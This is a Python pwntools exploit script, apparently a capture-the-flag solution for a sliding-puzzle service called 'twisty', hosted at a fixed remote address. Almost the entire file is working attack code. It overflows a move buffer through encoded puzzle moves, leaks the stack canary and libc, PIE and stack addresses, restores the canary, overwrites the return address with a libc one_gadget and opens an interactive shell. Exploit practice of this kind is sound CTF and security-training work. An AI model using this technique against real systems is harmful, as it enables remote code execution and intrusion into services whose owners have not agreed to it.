#!/usr/bin/python2
from pwn import *
from func import f
from copy import copy, deepcopy
from string import ascii_uppercase as UC
from sys import exit
from pprint import pprint

# puzzle solving
def col(board,col):
    l = []
    for row in board:
        l.append(row[col])
    return l

# print board
def pb(board):
    print("="*len(str(board[0])))
    for line in board:
        print(line)
    print("="*len(str(board[0])))
def r(l):
    return l[1:] + [l[0]]

def rc(board,col):
    l = [board[i][col] for i in range(len(board)) ]
    l = r(l)
    for i,n in enumerate(l):
        board[i][col] = n
    return board

def rr(board,row):
    l = board[row]
    l = r(l)
    board[row] = l
    return board


ENC_TBL={
0x0 : "c0u", 
0x1 : "c1u", 
0x2 : "c2u", 
0x3 : "c3u", 
0x4 : "c0d", 
0x5 : "c1d", 
0x6 : "c2d", 
0x7 : "c3d", 
0x8 : "r0r", 
0x9 : "r1r", 
0xa : "r2r", 
0xb : "r3r", 
0xc : "r0l", 
0xd : "r1l", 
0xe : "r2l", 
0xf : "r3l" 
}

DEC_TBL={v: k for k, v in ENC_TBL.iteritems()}

def write_nibble(nib):
    p.sendlineafter("> ", ENC_TBL[nib])

def write_word(word):
    nibs = hex(word)[2:].rjust(16, "0")[::-1]
    for i in range(0,len(nibs),2):
        p.sendlineafter("> ", ENC_TBL[int(nibs[i+1],16)])
        p.sendlineafter("> ", ENC_TBL[int(nibs[i],16)])

def decode_word(moves):
    word = ""
    for i in range(0, len(moves), 2):
        word += hex(DEC_TBL[moves[i+1]])[2:]
        word += hex(DEC_TBL[moves[i]])[2:]
    return int(word[::-1],16)


context.terminal = ['tmux', 'splitw', '-h']
with context.verbose:
    libc=ELF('libc-2.23.so')
    #p = process('../twisty', env={"LD_PRELOAD":'libc-2.23.so'})
    p = remote("138.68.67.161", 20007)
    #libc=ELF('libc.so.6')
    #p = process('./twisty', env={"LD_PRELOAD":'libc.so.6'})

    # Traverse stack
    for i in range(0x800*2):
        write_nibble(0xa)

    # Overwrite nrOfMoves
    write_word(0x1200)
    p.sendlineafter("> ", "l")

    # Leaks for days
    moves_done = p.recvline().split(" ")[:-1]
    canary      = decode_word(moves_done[0x1000+0x20:0x1000+0x20+0x10])
    libc_leak   = decode_word(moves_done[0x1000+0xa0:0x1000+0xa0+0x10])
    pie_leak    = decode_word(moves_done[0x1000+0x50:0x1000+0x50+0x10])
    stack_leak  = decode_word(moves_done[0x1000+0x70:0x1000+0x70+0x10])
    libc.address = libc_leak + 0x24b60 - libc.symbols['system']
    one_gadget = libc.address+0x4526a
    print "canary: %x" % canary
    print "libc_leak: %x" % libc_leak
    print "pie_leak: %x" % pie_leak
    print "stack_leak: %x" % stack_leak
    print "libc_base: %x" % libc.address
    print "one_gadget: %x" % one_gadget

    # reset the counter or some shit
    for i in range(0x200):
        p.sendlineafter("> ", "u")
        #write_nibble(0xa)
    # Write canary and things back
    write_word(0x1)
    write_word(canary)
    write_word(libc_leak)
    for i in range(6):
        write_word(0x0)

    # Overwrite ret_addr
    write_word(one_gadget)

    #constraints:
    #  [rsp+0x30] == NULL
    for i in range(40):
        write_word(0x0)

    # >>>>>>>>>>>>>>>>> Solve puzzle <<<<<<<<<<<<<<<<<<<<<<
    def read_config():
        config = []
        for i in range(4):
            config.append(list(p.recvline()[:-1]))
        return config

    current = read_config()
    print("current: {}".format(current))
    board = []
    for c in current:
        board.append(list(c))
    print(board)

    board2 = []
    for b in board:
        print(b)
        tmp = []
        for c in b:
            num = format("{:02d}".format(ord(c) - ord('A')))
            tmp.append(num)
        board2.append(tmp)

    pb(board)
    pb(board2)
    board = board2
    orig = deepcopy(board)
    moves = f(orig)

    solve = []
    for faen, move in enumerate(moves):
        i = int(move[1:])
        d = move[0]
        cmd = ""
        if d in "UD": # column
            cmd = "c{}{}".format(i, d.lower())
        else: # row
            cmd = "r{}{}".format(i, d.lower())

        print(cmd)
        solve.append(cmd)

    print(solve)
    try:
        for s in solve:
            p.recvuntil("> ")
            p.sendline(s)
            #if i == len(solve) - 1:
            #    break
            #print(read_config())
            #raw_input("...")
    except Exception as e:
        print(e)
    
    #gdb.attach(p, """
    #    b *0x0000000000000d80+0x555555554000
    #    b *0x0000000000000AC8+0x555555554000
    #    b *0x0000000000000908+0x555555554000
    #""")
    p.interactive()
